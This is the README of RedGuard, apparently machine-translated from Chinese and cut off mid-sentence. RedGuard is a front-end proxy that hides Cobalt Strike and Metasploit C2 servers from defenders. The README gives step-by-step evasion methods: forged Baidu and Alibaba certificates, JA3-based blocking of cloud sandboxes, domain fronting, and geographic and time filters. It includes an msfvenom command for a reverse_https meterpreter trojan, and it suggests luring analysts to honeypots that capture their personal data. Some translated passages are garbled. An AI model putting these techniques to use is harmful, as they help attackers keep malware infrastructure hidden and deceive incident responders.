RedGuard
RedGuard 24.06.18
英語 | 中文文檔
RedGuard是基於命令與控制（C2）前端流控技術的衍生工具，具有更輕量級的設計、高效的流量交互以及可靠的兼容Go編程語言開發。著演練變得越來越複雜，RedGuard旨在為紅隊提供更好的C2通道隱藏解決方案，為C2通道提供流量控制，阻斷「惡意」分析流量，更好地完成整個攻擊任務。
RedGuard是一款C2前端流量控制工具，可以躲避Blue Team、AVS、EDR、Cyberspace Search Engine的偵測。
您可以直接下載並使用編譯好的版本，也可以遠端下載go包獨立編譯執行。
git clone https://github.com/wikiZ/RedGuard.git
cd RedGuard
# You can also use upx to compress the compiled file size
go build -ldflags " -s -w " -trimpath
# Give the tool executable permission and perform initialization operations
chmod +x ./RedGuard && ./RedGuard
如下圖所示，設定可執行權限並初始化RedGuard。首次運行會在當前用戶主目錄生成配置文件，以實現靈活的功能配置。設定檔名： .RedGuard_CobaltStrike.ini 。
設定檔內容：
cert的設定選項主要是樣本與C2前端基礎設施之間SSL憑證加密HTTPS通訊的設定資訊。代理主要用於配置反向代理流量中的控制選項。具體使用下面會詳細講解。
SSL 憑證加密的 HTTPS 通訊將在 RedGuard 執行目錄下的 cert-rsa/ 目錄中產生。您可以透過修改設定檔來啟動和停止該工具的基本功能（證書的序號是根據時間戳記產生的，不用擔心與此功能關聯） 。 ca.crt 和ca.key 即可。
openssl x509 -in ca.crt -noout -text
每次啟動 RedGuard 時都會更新隨機 TLS JARM 指紋，以防止其用於驗證 C2 基礎架構。
如果使用自己的證書，請將設定檔中的HasCert參數修改為true ，防止JARM混淆隨機化導致CipherSuites加密套件與自訂證書不相容而導致正常通訊問題。
# Whether to use the certificate you have applied for true/false
HasCert = false部署Domain fronting隱藏C2流量時，加速網域預設沒有HTTPS憑證資訊。這顯然是有問題的，所以在配置網域的時候需要注意配置憑證。這也是判斷樣本是否為域前端流量的預設依據。
[^騰訊雲]：內容分送網路憑證配置
相信大家看完本文都會有一些疑問，如何取得配置的憑證？如果使用自己申請的證書，則達不到我們期望的匿名效果。此處您可以使用複製的憑證進行設定。以騰訊雲為例，測試中發現不會驗證自訂上傳證書的有效性。我們可以使用與加速網域實際站點相同的憑證來偽造。雖然正常情況下替換CS預設憑證時偽造憑證無法通信，但部署在雲端服務商CDN全站加速和RedGuard上時不會驗證有效性，C2互動流量可以正常通訊。
以下是Github上已有的專案地址
https://github.com/virusdefender/copy-cert雖然樣本域前端流量側的憑證已經解析，但從大規模網路映射的角度來看，我們的C2伺服器仍然暴露在外界，仍然可能被偵測到並與真實的C2伺服器關聯。此時可以使用RedGuard修改C2的前置預設憑證來實現匿名。
[^情報資訊]：TLS證書
以上就是C2伺服器偽造憑證的效果。可見，在Threatbook社區的情報中，它是可信的，並且沒有過期。取得數位憑證的主要方法是在雲端沙箱進行樣本分析時即時提取並更新，但顯然沒有得到有效驗證。狀態值僅驗證過期時間。證書信任驗證只能以能否正常通訊為依據。
需要注意的是，Threatbook 情報不會使用憑證情報標記範例要求的 SNI 和 HOST 位址。這其實是為了防止誤報。我認為這是正確的。威脅情報作為輔助研究人員分析的重要依據，寧可不完整，也不要指向錯誤的方向，進而導致後續分析的誤判。如果說配置全站加速證書是偽造通訊流量的證書，那麼配置RedGuard C2的預響應證書就是偽造部署在公網的真實C2伺服器的行為特徵，從而達到反映射的效果。
擷取證書序號： 55e6acaed1f8a430f9a938c5 ，並進行HEX編碼，取得TLS憑證指紋： 26585094245224241434632730821
| 智慧財產 | 港口 | 協定 | 服務 | 國家 | 城市 | 標題 | 時間 |
|---|---|---|---|---|---|---|---|
| 103.211.xx.90 | 第443章 | https | 阿帕奇httpd | 中國 | 蘇州 | 百度圖片-發現世界多彩 | 2023-08-28 |
| 223.113.xx.207 | 第443章 | https | JSP3 | 中國 | 徐州 | 403 禁忌 | 2023-08-28 |
| 223.112.xx.48 | 第443章 | https | JSP3 | 中國 | 徐州 | 403 禁忌 | 2023-08-28 |
| 223.113.xx.40 | 第443章 | https | JSP3 | 中國 | 徐州 | 403 禁忌 | 2023-08-28 |
| 223.113.xx.31 | 第443章 | https | JSP3 | 中國 | 405 不允許 | 2023-08-28 | |
| 223.113.xx.206 | 第443章 | https | JSP3 | 中國 | 徐州 | 403 禁忌 | 2023-08-28 |
搜尋結果數：2291
透過網路空間測繪，發現2291個獨立IP位址，經核實均擁有屬於百度的TLS憑證。僅憑通訊流量很難判斷是否為惡意通訊。但偽造了域前端+C2前端流量設施的TLS證書，成功幹擾空間映射和威脅情報，造成錯誤的資訊關聯，使攻擊者的流量特徵更加真實，達到偽造正常的目的通訊流量。
即使C2流量前端設施之前沒有隱藏轉送處理，也最好更改RedGuard的憑證。預設情況下，目前網路空間測繪中使用的公共元件指紋辨識形成的任何指紋庫均採用公共元件預設配置特徵的行為進行識別。在這些定製過程中，不同的群體可能會表現出不同的獨特特徵。當然，指紋的形成需要對目標組件有一定的了解，從而提取目標的預設特徵並形成關聯的指紋。這裡，RG憑證的行為特徵用於網路空間映射，與公網上部署的大量RG節點相關聯。
作者能夠提取指紋並不奇怪，但還是建議RedGuard用戶修改預設證書信息，做一個專業的黑客:)
root@VM-4-13-ubuntu: ~ # ./RedGuard -h
Usage of ./RedGuard:
-DelHeader string
Customize the header to be deleted
-DropAction string
RedGuard interception action (default " redirect " )
-EdgeHost string
Set Edge Host Communication Domain (default " * " )
-EdgeTarget string
Set Edge Host Proxy Target (default " * " )
-FieldFinger string
Set HTTP Header identification field Info
-FieldName string
Set the name of the HTTP Header identification field
-HasCert string
Whether to use the certificate you have applied for (default " true " )
-allowIP string
Proxy Requests Allow IP (default " * " )
-allowLocation string
Proxy Requests Allow Location (default " * " )
-allowTime string
Proxy Requests Allow Time (default " * " )
-common string
Cert CommonName (default " *.aliyun.com " )
-config string
Set Config Path
-country string
Cert Country (default " CN " )
-dns string
Cert DNSName
-host string
Set Proxy HostTarget
-http string
Set Proxy HTTP Port (default " :80 " )
-https string
Set Proxy HTTPS Port (default " :443 " )
-ip string
IPLookUP IP
-locality string
Cert Locality (default " HangZhou " )
-location string
IPLookUP Location (default "风起" )
-malleable string
Set Proxy Requests Filter Malleable File (default " * " )
-organization string
Cert Organization (default " Alibaba (China) Technology Co., Ltd. " )
-redirect string
Proxy redirect URL (default " https://360.net " )
-type string
C2 Server Type (default " CobaltStrike " )
-u Enable configuration file modificationPS 可以使用參數指令來修改設定檔。當然，我覺得用vim手動修改可能會更方便。
如果直接存取反向代理的端口，就會觸發攔截規則。這裡透過輸出日誌可以看到客戶端請求的根目錄，但由於請求中沒有攜帶請求憑證即正確的HOST請求頭，所以觸發了基本攔截規則，流量被重定向到https:// /360.net
這裡只是一個輸出的演示，實際使用可以透過nohup ./RedGuard &在背景運行。
{ " 360.net " : " http://127.0.0.1:8080 " , " 360.com " : " https://127.0.0.1:4433 " }從上面的切片不難看出，360.net代理到本地8080個端口，360.com代理到本地4433端口，使用的HTTP協定也不同。在實際使用中，需要注意監聽器的協定類型。與這裡的設定一致，並設定對應的HOST請求頭。
如上圖所示，在未授權存取的情況下，我們得到的回應資訊也是重新導向網站的回傳資訊。
在上述基本攔截案例中，採用的是預設攔截方式，透過重定向的方式攔截非法流量。透過修改設定文件，我們可以改變攔截方式和重新導向的網站URL。事實上，與其說這是重定向，我認為將其描述為劫持、克隆可能更合適，因為返回的響應狀態代碼是200，並且響應是從另一個網站獲取的，以模仿克隆/被劫持的網站：盡可能緊密地。
無效資料包可以根據三種策略被錯誤路由：
# RedGuard interception action: redirect / rest / proxy (Hijack HTTP Response)
drop_action = proxy
# URL to redirect to
Redirect = https://360.net設定檔中的Redirect=URL指向被劫持的URL位址。 RedGuard支援“熱更改”，這意味著當該工具透過nohup在背景運行時，我們仍然可以修改設定檔。內容即時啟動和停止。
./RedGuard -u --drop true注意，透過命令列修改設定檔時，不能缺少-u選項，否則設定檔無法修改成功。如果需要恢復預設設定檔設置，只需輸入./RedGuard -u 。
另一種攔截方法是 DROP，它直接關閉 HTTP 通訊回應，透過設定DROP = true來啟用。具體攔截效果如下：
可以看到，C2前端流控直接關閉對非法請求的回應，沒有HTTP回應碼。在網路空間測繪偵測中，DROP方法可以隱藏連接埠的開放性。具體效果可以看下面的案例。分析。
相信很多用戶都會對劫持回應感興趣。大致原理是，當客戶端向真正的C2伺服器發起請求時，由於不符合入站規則，C2伺服器會取得指定的正常網站並傳回其回應資訊。因此，從效果請求端來看，看似是在與IP服務進行交互，但實際上是利用中間C2伺服器作為代理伺服器與正常網站進行交互，很難發現異常。如果滿足入站請求，則將流量請求轉發到真實的C2服務監聽端口進行交互，而真實的監聽端口已經被雲防火牆過濾，只允許本地訪問，外部無法直接訪問。所以從對外端口開放來看，只開放了HTTP/S端口，從某種意義上來說，這確實是C2的線上端口。
[^流量圖]：C2伺服器流量互動過程
網路空間測繪資料中，此IP的HTTP/S開放埠回應碼是200，而不是307跳轉，更真實。
HTTPS憑證與上述的偽造憑證具有相同的效果，都是真實憑證的指紋。
相信很多紅隊在打擊專案的過程中都會廣泛使用雲函數/域前置等隱密手段。然而，在現今的攻防對抗中，上述兩種隱密方式都有一個致命的問題，那就是可以直接連結C2服務。結果無疑是，當我們掌握了雲端功能位址或網域前置的互動IP/HOST時，就可以直接存取C2監聽服務，證明其是攻擊設施。
由於流量可以直接到達C2，因此值得考慮的是安全設備是否可以對SNI和HOST不匹配的流量進行CS掃描以識別是否為惡意流量。對於雲端功能或沙箱環境也是如此。除了樣本側，還可以有更多流量層面的分析流程。
劫持回應後，直接存取HTTP服務可以正常與網站交互，但Cscan無法掃描出樣本訊息，因為流量無法到達真正的C2監聽器。只有滿足流量發起的特徵，才能進行正常的C2互動。然而，有一個問題。 C2掃描腳本需要遵守入站規則，這對藍隊分析師的編碼能力提出了一定的考驗。目前公開的掃描腳本是Nmap的形式。
JA3 為客戶端和伺服器之間的加密通訊提供了更容易識別的指紋。它利用TLS指紋來識別惡意客戶端和伺服器之間的TLS協商，從而達到關聯惡意客戶端的效果。這種指紋很容易在任何使用 MD5 加密的平台上生成，目前廣泛應用於威脅情報領域。例如在一些沙箱的樣本分析報告中可以看到，證明不同樣本之間的相關性。
如果我們能夠掌握C2伺服器和惡意客戶端的JA3(S)，即使流量被加密且C2伺服器的IP位址或網域名稱未知，我們仍然可以識別惡意用戶端和惡意用戶端之間的TLS協商。伺服器.相信大家看到這裡都能想到這一點，這也是應對網域名稱前置、反向代理、雲端功能等流量轉送隱藏方式的措施。透過沙箱執行樣本辨識和C2通訊TLS協商並產生JA3(S)指紋，可應用於威脅情報實現輔助溯源。
我在2022年就公佈了這個技術，在測試微步沙箱環境時，發現雖然請求交互的出口IP數量很少，但是透過IP來識別沙箱並不準確，而且這是一個很容易改變的特性，但其JA3指紋在同一系統環境中是唯一的。後來收到回饋說沙箱已經完成了指紋隨機化，但最近測試發現並沒有完全實現。我還是希望能夠面對交通端的指紋問題。
從雲端沙箱的角度來看，透過監控樣本與C2伺服器之間的流量交互，產生JA3(S)指紋來識別惡意客戶端，從而進行關聯。反過來想，作為C2前面的流量控制設施，我們也可以進行這樣的操作來取得客戶請求的JA3指紋。透過調試不同的沙箱環境，得到這些JA3指紋，形成指紋庫，從而形成基本的攔截策略。
想像一下，在分階段木馬互動的過程中，載入器會先拉取遠端位址的shellcode。然後，當流量辨識出該請求符合JA3指紋庫的雲沙箱特徵時，就會攔截後續請求。如果無法取得shellcode，整個載入過程就無法完成，沙箱自然也無法完全分析。如果環境是無階段木馬，那麼沙箱分析也將無法最終上傳到C2伺服器。相信大家都從睡夢中醒來，發現C2上掛著很多很久的沙盒紀錄。當然，在理想狀態下，我們能夠辨識不同的沙箱環境，這主要取決於指紋庫的可靠性。
在測試過程中，我發現在指紋庫中新增ZoomEye GO語言請求庫的JA3指紋並監控RG請求流量後，大部分請求都觸發了JA3指紋庫功能的基本攔截。這裡我猜測測繪產品的底層語言是用GO語言實現的掃描任務的一部分。透過一個環節，由不同底層語言組成的掃描邏輯最終完成了整個掃描任務。這也解釋了為什麼部分測繪產品掃描會觸發GO語言請求庫的JA3指紋攔截功能。辨識規則原理與雲沙箱指紋相同。兩者都利用了請求客戶端環境和請求庫的唯一性。與PC端不同，這些產品的請求環境基本上不會隨意改變，這也使得我們能夠掌握其流量端指紋並進行攔截，那麼我們是否可以思考安全設備是否可以使用主動檢測的JA3指紋流量作為攔截依據？當然，當業務流量較大時，可能會出現一定程度的誤報。這裡我們僅提出理論上可行的產品需求。
PS使用者也可以將樣本上傳到沙箱中，取得並驗證自己的JA3指紋，並將其新增至指紋庫。需要注意的是，如果沙箱只是將JA3指紋改為而不是上述指紋，那是沒有意義的。真正需要解決的是，沙箱每次進行動態分析時，都不是同一個指紋，其變化需要滿足盡可能不重複的要求。若重複率較高，仍會作為指紋使用。
目前支援threatbook雲沙箱的識別攔截作為效果演示
在設定檔中配置以下兩個參數即可實現更改反向代理連接埠的效果。建議使用預設連接埠隱藏，只要不與目前伺服器連接埠衝突即可。如果一定要修改，那麼注意參數值的:不要缺失
# HTTPS Reverse proxy port
Port_HTTPS = :443
# HTTP Reverse proxy port
Port_HTTP = :80藍隊追蹤行為透過目標請求的攔截日誌進行分析，可用於追蹤對等連線事件/問題。日誌檔案在RedGuard運行的目錄中生成，檔案名稱： RedGuard.log 。
本節介紹如何設定RG取得請求的真實IP位址。只需要在C2裝置的設定檔中加入以下配置即可，透過請求頭X-Forwarded-For取得目標的真實IP位址。
http-config {
set trust_x_forwarded_for " true " ;
}配置方法以AllowLocation = Jinan, Beijing為例。需要注意的是，RedGuard提供了兩種反向IP歸屬的API，一種針對中國大陸用戶，另一種針對非中國大陸用戶，並且可以根據輸入的地理域名動態分配使用哪個API，如果目標是中國的話設定區域使用中文，否則使用英文地名。建議中國大陸使用者使用中文名字，這樣透過反向查詢得到的歸因的準確性和API的回應速度是最好的選擇。
PS中國大陸用戶，請勿使用AllowLocation=Jinan,beijing這樣的方式！沒有太大意義，參數值的第一個字元決定使用哪個API！
# IP address owning restrictions example:AllowLocation = 山东，上海，杭州 or shanghai,beijing
AllowLocation = * 
在決定限制區域之前，您可以透過以下命令手動查詢IP位址。
./RedGuard --ip 111.14.218.206
./RedGuard --ip 111.14.218.206 --location shandong # Use overseas API to query這裡我們設定只允許山東地區上線
合法交通：
非法請求區域：
關於地域限制的聯繫，在目前的攻防演習中可能更加實用。基本上，省市攻防演習限制的目標都在指定區域內，其他區域要求的交通自然可以忽略不計。 RedGuard的這個功能不僅可以限制單一區域，還可以根據省市限制多個連接區域，並攔截其他區域請求的流量。
除了RedGuard內建的網路安全廠商的IP黑名單之外，我們還可以按照白名單的方式進行限制。其實我也建議大家在進行Web滲透時，可以依照白名單來限制上網IP位址，分割出多種IP位址。
# Whitelist list example: AllowIP = 172.16.1.1,192.168.1.1
AllowIP = 127.0.0.1
如上圖所示，我們限制只允許127.0.0.1連接，那麼其他IP的請求流量將被阻止。
這個功能比較有趣。在設定檔中設定以下參數值意味著交通控制設施只能在上午 8:00 到晚上 9:00 之間進行連接。這裡的具體應用場景是，在指定的攻擊時間內，我們允許與C2通信，而在其他時間保持沉默。這也讓紅隊可以睡個好覺，不用擔心晚上值班的藍隊無聊分析你的木馬，然後醒來發現一些不可描述的東西，哈哈哈。
# Limit the time of requests example: AllowTime = 8:00 - 16:00
AllowTime = 8:00 - 21：00
RedGuard 使用 Malleable C2 設定檔。它解析提供的可擴展配置文件部分以理解合約並僅傳遞滿足它的入站請求，同時誤導其他請求。 http-stager 、 http-get和http-post等部分及其對應的 uri、標頭、用戶代理等用於區分合法的信標請求與不相關的互聯網噪聲或 IR/AV/EDR 越界數據包。
# C2 Malleable File Path
MalleableFile = /root/cobaltstrike/Malleable.profile
風起寫的設定檔建議使用：
https://github.com/wikiZ/CobaltStrike-Malleable-Profile
在 Cobalt Strike 4.7+ 中，Teamserver 會在沒有任何通知的情況下自動刪除 Content-Encoding 標頭，這可能會導致可延展的 http-(get|post).server 違規。而且，如果CS Server回應訊息中沒有Content-type，但經過RedGuard轉送後，將Content-Type加入到回應訊息標頭中，導致cf快取頁面，造成乾擾。
在 RedGuard 23.08.21之後，增加了自訂回應包頭的功能。使用者可以透過修改設定檔來自訂和刪除回應包中的頭信息，解決解析錯誤的問題。
# Customize the header to be deleted example: Keep-Alive,Transfer-Encoding
DelHeader = Keep-Alive,Transfer-EncodingRedGuard 23.05.13更新了木馬樣本指紋識別功能，該功能基於將Malleable Profile的HTTP Header字段自定義為指紋“樣本鹽值”，用於唯一標識同一個C2監聽器/Header Host。另外，結合其他相關請求欄位產生的木馬樣本指紋可用於偵測自訂樣本的活躍度。根據攻擊者的任務需求，木馬樣本指紋識別功能可以對想要禁用的樣本進行“離線操作”，更好地規避樣本通信的惡意流量分析和階段性樣本PAYLOAD攻擊載荷獲取分析，並提供更多針對攻擊者的個人化隱形措施。
對於不同的C2監聽器，我們可以給Malleable Profile配置賦予不同的別名，自訂相關頭的欄位名稱和值作為樣本salt值，並將其作為不同樣本之間的差異之一。下面的程式碼只是為了說明目的，在實際攻防場景中我們可以使用更真實的HTTP請求包欄位作為判斷依據。
http-get " listen2 " {
set uri " /image.gif " ;
client {
header " Accept-Finger " " 866e5289337ab033f89bc57c5274c7ca " ; //Custom HTTP Header and Value
metadata {
print
}
}
}HTTP 流量
如圖所示，我們使用上面範例的Salt值和Host欄位作為指紋產生的基礎。在這裡我們知道：
根據拼接上述值，得到樣本指紋如下：
22e6db08c5ef1889d64103a290ac145c現在我們知道了上面的樣本指紋，我們可以在RedGuard設定檔中設定自訂的Header欄位和樣本指紋來進行惡意流量攔截。值得注意的是，我們可以擴展多個樣本指紋，用逗號分隔，並且FieldName需要與Malleable Profile中配置的Header欄位名稱一致
由於RedGuard的設定檔是熱配置，我們不需要重啟RedGuard來攔截我們想要停用的樣本。當我們想要重新啟動樣本時，只需從RedGuard設定檔中刪除相關的樣本指紋即可。
示範效果：
如果上述方法有問題的話，實際在線的C2伺服器是無法被防火牆直接攔截的，因為反向代理中實際的負載平衡請求是由雲端伺服器廠商的IP發出的。
單機作戰時，我們可以在雲端伺服器防火牆上設定攔截規則。
然後將代理商指向的位址設定為https://127.0.0.1:4433。
{ " 360.net " : " http://127.0.0.1:8080 " , " 360.com " : " https://127.0.0.1:4433 " }而且由於我們的基本驗證是基於HTTP HOST請求頭，所以我們在HTTP流量中看到的也和網域前置的方式一樣，但是成本更低，而且只需要一台雲端伺服器。
監聽器設定中， HTTPS Port (C2)設定為RedGuard反向代理端口， HTTPS Port (Bind)為本機實際連接端口。
生成木馬
$ msfvenom -p windows/meterpreter/reverse_https LHOST=vpsip LPORT=443 HttpHostHeader=360.com
-f exe -o ~ /path/to/payload.exe當然，作為域名前置場景，你也可以將你的LHOST配置為使用廠商CDN的任意域名，並注意設定HttpHostHeader與RedGuard相符。
setg OverrideLHOST 360.com
setg OverrideLPORT 443
setg OverrideRequestHost true請務必注意， OverrideRequestHost設定必須設定為true 。這是由於 Metasploit 在產生暫存有效負載的配置時預設處理傳入 HTTP/S 請求的方式的一個功能。預設情況下，Metasploit 使用傳入請求的Host標頭值（如果存在）進行第二階段配置，而不是LHOST參數。因此，建置階段配置為直接將請求傳送到您的隱藏域名，因為 CloudFront 在轉送請求的Host標頭中傳遞您的內部網域。這顯然不是我們所要求的。使用OverrideRequestHost配置值，我們可以強制 Metasploit 忽略傳入的Host標頭，而是使用指向原始 CloudFront 域的LHOST配置值。
偵聽器設定為與 RedGuard 實際轉送到的位址相符的實際線路連接埠。
RedGuard 收到請求：
如下圖所示，當我們的攔截規則設定為DROP時，空間映射系統探針會多次探測我們的反向代理埠的/目錄。理論上，透過映射發送的請求資料包會被偽造為正常流量，如圖所示。但經過多次嘗試，由於請求包的簽章不符合RedGuard的發布要求，所以都是Close HTTP回應。最終在測繪平台上顯示的效果是反向代理端口未開放。
下圖所示的流量意味著當攔截規則設定為Redirect時，我們會發現當映射探針收到回應時，它會繼續掃描我們的目錄。 User-Agent 是隨機的，看起來符合正常的流量請求，但都成功阻止了。
建圖平台-劫持響應攔截模式效果：
測繪平台-重定向攔截效果：
RedGuard 支援域前置。在我看來，有兩種表現形式。一種是採用傳統的Domain front方式，可以透過在全站加速回源位址中設定我們反向代理的連接埠來實現。在原有的基礎上，在網域前置上增加了流量控制的功能，可以根據我們設定的設定重定向到指定的URL，使其看起來更真實。需要注意的是，HTTPS HOST header的RedGuard設定必須與全站加速的網域一致。
在一次戰鬥中，我建議可以使用上述方法，在團隊任務中，也可以透過自行建構的「域前」來實現。
在自我建構的網域前，保持多個反向代理埠一致，主機標頭始終指向後端的真實C2伺服器收聽連接埠。這樣，我們的實際C2伺服器可以很好地隱藏，而反向代理的伺服器只能透過配置防火牆來開啟代理連接埠。
這可以透過多個節點伺服器來實現，並在CS偵聽器HTTPS Online IP中配置多個節點的IPS。
惡意蜜罐捕獲的原則主要取決於RG交通指導的劫持響應或重定向功能，RG交通指導指導正在評估C2設施的分析家到Honeypot Sandbox的地址。在劫持回應狀態下，RG將指示不符合Honeypot資產的入站規則的流量。當遇到一些更強大的蜜罐（例如捕獲操作員手機號碼的蜜罐）時，客戶將根據目標網站的回應啟動請求，並被JSONP劫持以獲取相關資訊。
想像一下，當分析師直接訪問C2線上連接埠時，他們將被指向Honeypot資產，這無疑會引起分析師的干擾。分析師被惡意地指示要求honeypot資產，而蜜罐監視端捕獲了藍色團隊分析師的相關訊息，並追蹤錯誤。如果分析目標從一開始是錯誤的，那麼您如何獲得好結果？毫無疑問，這將為國防團隊引起嚴重的內部摩擦。
這是一組與Honeypot資產相關的動物園指紋：
(iconhash: " 9fd6f0e56f12adfc2a4da2f6002fea7a " (title: "然之协同" + " iframe " + " >v.ignoreNotice " )) ( " /static/js/2.ca599e2d.chunk.js?t= " +title: " OA办公系统" ) ( " data.sloss.xyz/get_code.js?access " ) ( " /monitordevinfo/common.js " ) (app: " honeyport " +country:china +after: " 2022-08-22 " )
實現此效果的方法非常簡單，您只需要更改RG設定檔中的相關鍵值。
# RedGuard interception action: redirect / reset / proxy (Hijack HTTP Response)
drop_action = proxy
# URL to redirect to
Redirect = https://market.baidu.comPS我相信每個人都知道如何在沒有解釋的情況下配置它:)
這種方法是一種狡猾的技巧，它更反映在想法中。如果進一步利用，則可以將HoneyPot擷取功能部署在C2前端交通控制設施中，然後可以指向互動式流量。效果是可以像傳統的蜜罐一樣獲得客戶的瀏覽器快取資料。但是，我個人認為，在公共版本中，將其應用於當前的攻擊和防禦對抗可能沒有意義。攻擊者捕獲藍色團隊分析師的社交訊息並進行追蹤是沒有意義的。當然，退後一步，這可能會使C2樣品的分析更加危險。當黑人和灰色產業的攻擊者可以獲得分析師的虛擬身份時，如果可以轉換虛擬和真實身份，它仍然相對危險。因此，我認為未來的研究和分析應該要更加謹慎和警覺。
在攻擊和防禦對抗的情況下，大多數單位網路仍然是基於邊境的防禦。在這裡，我們考慮了一個方案，在普通業務環境中，DMZ區域中的外部伺服器通常配置為相關的存取策略。目前，當邊緣的外部伺服器可以存取網路但無法直接存取Intranet主機時，Intranet中的PC或相關伺服器不能直接存取公共網絡，而是可以存取DMZ區域的業務伺服器，然後，我可以將Edge節點的主機用作RG節點，將Intranet線上流量傳輸到我們的C2設施。聽起來與線上傳統代理轉移非常相似嗎？但是，這只是顯示技能實施的一種形式。讓我們繼續查看更多提示。
當我們在管理過程中刪除Edge主機時，假設我們已接管了Shell Permissions，則將在該伺服器上部署RG作為前端節點（在實際情況下，設定檔在程式中進行了硬編碼，甚至將特洛伊木馬和RG合併為相同程序） 。
設定檔如下：
對於特定配置，我們主要關注箭頭。上面的箭頭1是Intranet主機和邊緣節點之間相互作用的主機網域。建議根據目標單元的特定方案設定相關的Intranet網域。想像一下，Intranet中兩個主機之間的流量相互作用圍繞著Intranet網域。 BT是否有勇氣直接切斷互動式流量？當然，如果他們能確定這是惡意互動流量。箭頭2點到傳統域前端的設定。鍵對對應於線上主機，該值對應於代理位址。在這裡，我們可以使用相同的CDN製造商將其設定為任何HTTPS域名（CDN節點IP也可以，請記得帶上http（s）：//協定）。
EdgeHost是我們雲端服務提供者域前端使用的域名，它也是RG邊緣節點透過CDN節點進行互動時使用的域名。是的，RG將修改合法請求的主機域名，並將其修改為可以正常通訊的雲端服務CDN域名。
EdgetArget是Intranet互動的域名，它需要與箭頭1相同。
在這裡，我們總結：
也就是說，Intranet中邊緣節點與主機之間的互動是透過集合Intranet網域。何
